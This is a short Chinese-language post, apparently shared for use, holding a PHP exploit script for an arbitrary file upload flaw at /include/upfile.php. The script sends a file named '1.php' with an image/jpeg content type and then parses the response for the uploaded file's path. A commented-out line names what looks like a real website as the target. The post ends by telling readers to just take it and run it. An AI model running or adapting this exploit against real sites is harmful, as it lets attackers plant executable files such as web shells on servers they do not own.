就不给各位废话了

直接贴代码图吧

<?php
function send_post($url, $header, $post_data){
    $curl = curl_init();//初始化curl
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_HEADER, 0);//返回response头部信息
    curl_setopt($curl, CURLOPT_URL, $url);//抓取指定网页
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS,$post_data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT,3);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}
//$urla = "http://sx-botoracks.com/";
$urla = "http://127.0.0.1/";
$path = "/include/upfile.php";
$urls = $urla.$path;
$header = array(
    'User-Agent'=>'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
    'Content-Type'=>'multipart/form-data',
);
//echo $str;die;
$post_data = array(
    'upfile'=>curl_file_create('./1.jpg','image/jpeg','1.php'),
);

// var_dump($post_data);die();

$info = send_post($urls,$header,$post_data);
//var_dump($info);
$regx = '/window.opener.document...value=\'..\/(.*?)\'<\/script><script language="javascript">/s';
preg_match_all($regx,$info,$arr);
if (!empty($arr[1][0])) {
    echo $urla.$arr[1][0]."\r\n";
}
?>

这个是有返回路径的 所以拿着直接开跑就完事了